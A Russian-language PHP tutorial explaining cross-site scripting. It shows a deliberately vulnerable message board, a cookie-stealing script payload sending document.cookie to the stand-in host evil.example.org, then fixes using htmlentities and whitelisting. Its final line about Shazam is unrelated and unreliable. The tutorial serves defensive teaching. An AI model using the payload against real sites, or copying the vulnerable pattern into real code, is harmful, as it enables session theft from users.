Межсайтовый скриптинг (XSS)
Средства массовой информации сделали межсайтовый скриптинг (Cross-Site Scripting - XSS) довольно популярным термином, определенно заслуживающим нашего внимания. Это наиболее распространенная уязвимость в веб-приложениях, и многие популярные PHP-скрипты с открытым кодом страдают от XSS.
XSS-атаки имеют следующие характеристики:
-
Эксплуатация доверчивости пользователей
Пользователь не обязательно должен иметь высокий уровень доверия к сайту, другое дело с браузером. Например, когда браузер посылает или принимает куки это доверие к сайту. Пользователи также могут устанавливать различные уровни безопасности просмотра сайтов, которые они посещают.
-
Отображение внешних данных
Приложения, использующие внешние данные, к примеру, форумы, почтовые клиенты, RSS-каналы и так далее, находятся в зоне повышенного риска. Это связано с возможным компрометированием данных.
-
Инъекция содержания
Когда внешние данные не фильтруются должным образом, возникает риск отображения некачественного содержания. Это опасно еще и тем, что хакер может изменять исходный код страницы.
Как это происходит? Если вы отображаете содержимое из внешних источников без надлежащей фильтрации, вы уязвимы к XSS.
Рассмотрим следующий пример упрощенной доски объявлений:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Этот скрипт добавляет <br /> по нажатию Enter, а затем отображает содержимое файла.
Представьте себе, если юзер введет следующее сообщение:
<script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script>
Следующий пользователь, который посещает эту доску объявлений с включенным JavaScript перенаправляется на evil.example.org и отправляет в строке запроса свои куки, связанные с текущим сайтом.
Конечно, настоящий хакер не будет ограничиваться моим отсутствием творчества. Не стесняйтесь предлагать лучшие (более вредоносные?) примеры.
Что вы можете сделать? От XSS на самом деле очень легко защититься, даже в сложных ситуациях, когда намеренно нужно отображать HTML код от других пользователей.
Следующая практика поможет уменьшить риск XSS-атаки:
-
Фильтруйте внешние данные
Как упоминалось ранее, фильтрация данных является обязательной для любого исполняемого кода. При проверке внешних данных вы будете смягчать большинство проблем с межсайтовым скриптингом. Используйте функцию htmlspecialchars() или htmlentities для фильтрации данных.
-
Используйте подход "белого" списка
Вместо того, чтобы определять некорректные данные, используйте список допустимых данных применяя регулярные выражения. Это значит, что вместо того чтобы запрещать некоторые данные, лучше ограничить ввод только допустимыми. Например, для проверки электронной почты используйте регулярное выражение /^[0-9a-z\_\.\-]+@([\-a-z0-9]+\.)+[a-z]{2,}$/i, и в случае несоответствия с образцом завершайте работу скрипта.
-
Используйте строгие имена переменных
Именование переменных по определенному правилу поможет вам избежать путаницы при разработке. Я добавляю к проверенным переменным _check, чтобы в дальнейшем не пропустить нефильтрованые данные. Отсутствие ясности кода и пораждает такие уязвимости.
Гораздо безопасная версия доски объявлений в следующем примере:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
С простым добавлением htmlentities() скрипт стал гораздо безопаснее. Теперь теги HTML будут отображаться как обычный текст. Это необходимый минимум проверки данных форм. Естественно этим не стоит ограничиваться. Читайте на сайте другие статьи по фильтрации внешних данных.
С помощью программы распознавания контента можно узнать уникальность информации. Одной из таких программ является Shazam.
